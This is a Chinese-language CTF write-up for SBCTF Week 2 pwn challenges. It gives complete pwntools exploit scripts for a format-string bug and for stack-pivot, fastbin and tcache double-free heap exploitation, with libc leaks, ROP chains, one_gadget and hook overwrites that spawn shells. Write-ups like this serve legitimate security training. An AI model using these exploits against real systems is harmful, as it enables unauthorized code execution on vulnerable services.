SBCTF-Week2-Pwn

这周比较偷懒，都是板子题，下周应该时间也比较紧张，希望师傅们多多担待==

题目名称	题目方向	题目考点	出题人	进度
easyfmt	Pwn	栈上fmt	Tplus	✓
justheap	Pwn	栈迁移	Tplus	✓
babyheap	Pwn	2.23 fastbin	Tplus	✓
babyheap-2	Pwn	2.27 tcache	Tplus	✓
babyheap-3	Pwn	2.37 tcache	Tplus	✓

ez_fmt

栈上做fmt，写rop就行，没有限制次数，但是是while(read)，关闭输入流就可以执行rop了。

```
from pwn import *
from fmt import *
context(os='linux', arch='amd64', log_level='debug')
p = remote("47.76.71.50",20068)
#p = process("./1")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def dbg():
    gdb.attach(p)
    raw_input()
def fmt(ctt):
    p.sendlineafter("Your input:\n",ctt)

p.sendlineafter("easyfmt challenge\n",b"%41$p-%45$p-%43$p")
p.recvuntil("Your input:")
libc_base = int(p.recvuntil("-")[:-1],16) - 0x29d90
log.info("libc_base: "+hex(libc_base))
stack = int(p.recvuntil("-")[:-1],16) - 0x118 + 8
log.info("stack: "+hex(stack))
pie = int(p.recvuntil("\n")[:-1],16)
log.info("pie: "+hex(pie))

pop_rdi = libc_base + 0x000000000002a3e5 #: pop rdi ; ret
pop_rsi = libc_base + 0x000000000002be51 #: pop rsi ; ret
pop_rdx = libc_base + 0x00000000000904a9 #: pop rdx ; pop rbx ; ret
op = libc_base + libc.sym['open']
rd = libc_base + libc.sym['read']
wr = libc_base + libc.sym['write']
flag = pie + 0x2d98
offset = 0

payload = fmt_payload64([(stack,pop_rdi,8)],offset,"$hhn")
p.sendline(payload)
payload = fmt_payload64([(stack+0x8,flag,8)],offset,"$hhn")
fmt(payload)
payload = fmt_payload64([(stack+0x10,pop_rsi,8)],offset,"$hhn")
fmt(payload)
payload = fmt_payload64([(stack+0x18,0,8)],offset,"$hhn")
fmt(payload)
payload = fmt_payload64([(stack+0x20,pop_rdx,8)],offset,"$hhn")
fmt(payload)
```

```
payload = fmt_payload64([(stack+0x28,0,8)],offset,"$hhn")
fmt(payload)
payload = fmt_payload64([(stack+0x30,0,8)],offset,"$hhn")
fmt(payload)
stack += 8


payload = fmt_payload64([(stack+0x30,op,8)],offset,"$hhn")
fmt(payload)
payload = fmt_payload64([(stack+0x38,pop_rdi,8)],offset,"$hhn")
fmt(payload)
payload = fmt_payload64([(stack+0x40,3,8)],offset,"$hhn")
fmt(payload)
payload = fmt_payload64([(stack+0x48,pop_rsi,8)],offset,"$hhn")
fmt(payload)
payload = fmt_payload64([(stack+0x50,flag+0x300,8)],offset,"$hhn")
fmt(payload)
payload = fmt_payload64([(stack+0x58,pop_rdx,8)],offset,"$hhn")
fmt(payload)
payload = fmt_payload64([(stack+0x60,0x100,8)],offset,"$hhn")
fmt(payload)
payload = fmt_payload64([(stack+0x68,0,8)],offset,"$hhn")
fmt(payload)
stack += 8


payload = fmt_payload64([(stack+0x68,rd,8)],offset,"$hhn")
fmt(payload)
payload = fmt_payload64([(stack+0x70,pop_rdi,8)],offset,"$hhn")
fmt(payload)
payload = fmt_payload64([(stack+0x78,1,8)],offset,"$hhn")
fmt(payload)
payload = fmt_payload64([(stack+0x80,pop_rsi,8)],offset,"$hhn")
fmt(payload)
payload = fmt_payload64([(stack+0x88,flag+0x300,8)],offset,"$hhn")
fmt(payload)
payload = fmt_payload64([(stack+0x90,pop_rdx,8)],offset,"$hhn")
fmt(payload)
payload = fmt_payload64([(stack+0x98,0x100,8)],offset,"$hhn")
fmt(payload)
payload = fmt_payload64([(stack+0xa0,0,8)],offset,"$hhn")
fmt(payload)
stack += 8

payload = fmt_payload64([(stack+0xa0,wr,8)],offset,"$hhn")
fmt(payload)

p.shutdown("send")
p.interactive()
```

justheap

栈迁移，然后由于堆上有size之类我们无法控制的数据，迁移后用gadget跳过即可

```
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('47.76.71.50',20068 )
```

```
#p = process("./heap")
elf = ELF('./heap')
libc = ELF("./libc-2.27.so")

leave_ret=0x40079f
pop_rsi_r15=0x4012b1
pop_r14_r15=0x4012b0
pop_rdi=0x4012b3
ret=0x40101a
leave_ret=0x40123f
printf_got=elf.got['printf']
puts_plt=elf.plt['puts']
read_plt=elf.plt['read']

p.send(p64(pop_rdi)+p64(printf_got)+p64(puts_plt)+p64(pop_r14_r15))
p.send(p64(pop_rsi_r15)+p64(printf_got)+p64(ret)+p64(pop_r14_r15))
p.send(p64(pop_rdi)+p64(0)+p64(read_plt)+p64(0x40121F))
#gdb.attach(p)
#pause()
p.recvuntil('heap is here:')
heap_addr=p.recvline()
heap_addr=int(heap_addr,16)
print(hex(heap_addr))
p.send(b'a'*0x60+p64(heap_addr-104)+p64(leave_ret))
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

'''
onegadget=0x4f322


libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-libc.sym["printf"]
p.sendline(p64(libc_base+onegadget))
p.interactive()
```

babyheap

2.23 heap double-free

直接套板子就行了，控制uaf chunk写fd为malloc_hook，有onegadget可以用，2.23fastbin会检查size，但是不用对齐，注意下偏移。

```
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
libc = ELF("/home/Tplus/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
```

```python
p = remote("47.76.71.50",20068)
#p = process("./3")
def dbg():
    gdb.attach(p)
    pause()
def cmd(c):
    p.sendlineafter(">> ",str(c))
def add(idx,size,ctt):
    cmd(1)
    p.sendlineafter("idx: ",str(idx))
    p.sendlineafter("size: ",str(size))
    p.sendafter("name: ",ctt)
def show(idx):
    cmd(2)
    p.sendlineafter("idx: ",str(idx))
def delete(idx):
    cmd(3)
    p.sendlineafter("idx: ",str(idx))


add(0,0x500,b'a')
add(1,0x18,b'a')
add(2,0x68,b'a')
add(3,0x68,b'a')
add(4,0x68,b'a')
add(5,0x68,b'a')
add(6,0x68,b'a')
delete(0)
show(0)
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00')) - 0x3c4b78
malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
for i in range(4):
    one_gadget[i] += libc_base
success("libc_base = 0x%x",libc_base)
success("malloc_hook = 0x%x",malloc_hook)


delete(6)
delete(2)
delete(3)
delete(2)
add(2,0x68,p64(malloc_hook-0x23))
add(3,0x68,b'a'*0x13 + p64(one_gadget[3]))
add(6,0x68,b'a'*0x13 + p64(one_gadget[3]))

add(7,0x68,b'a'*0x13 + p64(one_gadget[3]))
success("malloc_hook = 0x%x",malloc_hook)

p.interactive()

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
```

```
  [rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
'''%
```

babyheap-2

2.27 tcache double-free

这个版本没引入key，比1还简单，因为tcache不检查size，所以不用找7f了，打free_hook为system就行

```
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
libc = ELF("/home/Tplus/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
p = remote("47.76.71.50",20068)
#p = process("./4")
def dbg():
    gdb.attach(p)
    pause()
def cmd(c):
    p.sendlineafter(">> ",str(c))
def add(idx,size,ctt):
    cmd(1)
    p.sendlineafter("idx: ",str(idx))
    p.sendlineafter("size: ",str(size))
    p.sendafter("name: ",ctt)
def show(idx):
    cmd(2)
    p.sendlineafter("idx: ",str(idx))
def delete(idx):
    cmd(3)
    p.sendlineafter("idx: ",str(idx))


add(0,0x500,b'a')
add(1,0x18,b'a')
add(2,0x78,b'a')
add(3,0x78,b'a')
add(4,0x78,b'a')
add(5,0x78,b'/bin/sh\x00')
delete(0)
show(0)
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00')) - 0x3ebca0
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

success("libc_base = 0x%x",libc_base)
success("free_hook = 0x%x",free_hook)
success("system = 0x%x",system)
delete(3)
delete(2)
```

```
delete(2)
add(2,0x78,p64(free_hook))
add(3,0x78,p64(system))
add(6,0x78,p64(system))
delete(5)
p.interactive()
```

babyheap-3

2.37 tcache double-free 没有free_hook了所以exp写的日栈

由于存在tcache key 像2.27低version中直接df的方法就用不了了。这里我的思路是分配>7个的tcache，使得新释放的chunk进入fastbin，然后申请大堆块，使得fastbin合并进入ub。然后再申请的时候就可以从ub切割申请，就可以修改原来指向的fastbin残留的ptr的size。堆重叠之后打栈做rop就行。

```
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
libc = ELF("./libc.so.6")
#p = remote("47.76.71.50",20068)
p = process("./5")
def dbg():
    gdb.attach(p)
    pause()
def cmd(c):
    p.sendlineafter(">> ",str(c))
def add(idx,size,ctt):
    cmd(1)
    p.sendlineafter("idx: ",str(idx))
    p.sendlineafter("size: ",str(size))
    p.sendafter("name: ",ctt)
def show(idx):
    cmd(2)
    p.sendlineafter("idx: ",str(idx))
def delete(idx):
    cmd(3)
    p.sendlineafter("idx: ",str(idx))


add(0,0x800,b'a')
add(9,0x18,b'a')

delete(0)
show(0)
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00')) - 0x1f6ce0
environ = libc_base + libc.sym['__environ']
pop_rdi = libc_base + 0x00000000000240e5 #: pop rdi ; ret
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']
#pop_rdx = 0x0000000000026302 #: pop rdx ; ret
success("libc_base = 0x%x",libc_base)
success("environ = 0x%x",environ)
success("system = 0x%x",system)
for i in range(9):
  add(i,0x78,b'a')
delete(0)
show(0)
p.recvuntil("name: ")
```

```
heap_base = u64(p.recvuntil("\n",drop=True).ljust(8,b'\x00')) << 12
success("heap_base = 0x%x",heap_base)
for i in range(1,9,1):
  delete(i)
add(0,0x900,'a')
delete(0)
add(0,0x90,0x70 * b'a' + p64(0) + p64(0x301))
add(1,0x18,b'a')
add(2,0x18,b'a')
add(3,0x100,b'a')
add(4,0x100,b'a')
delete(8)
delete(2)
delete(1)
delete(4)
delete(3)
add(8,0x2f1,b'a'*0x10 + p64(0) + p64(0x21) + p64((((heap_base + 0x6c0) >> 12)) ^
(environ-0x10)))

add(1,0x18,b'a'*0x10)
add(2,0x18,b'a'*0x10)
show(2)
p.recvuntil("name: aaaaaaaaaaaaaaaa")
stack = u64(p.recvuntil("\n",drop=True).ljust(8,b'\x00'))
add_stack = stack - 0x148 + 0x8
success("stack = 0x%x",stack)
success("add_stack = 0x%x",add_stack)

delete(8)

payload = p64(0) + p64(pop_rdi) + p64(binsh) + p64(pop_rdi+1) + p64(system)

add(8,0x2f1,b'a'*0x50 + p64(0) + p64(0x111) + p64((((heap_base + 0x700) >> 12))
^ (add_stack - 0x8)))


add(3,0x100,payload)
dbg()
add(4,0x100,payload)
p.interactive()
```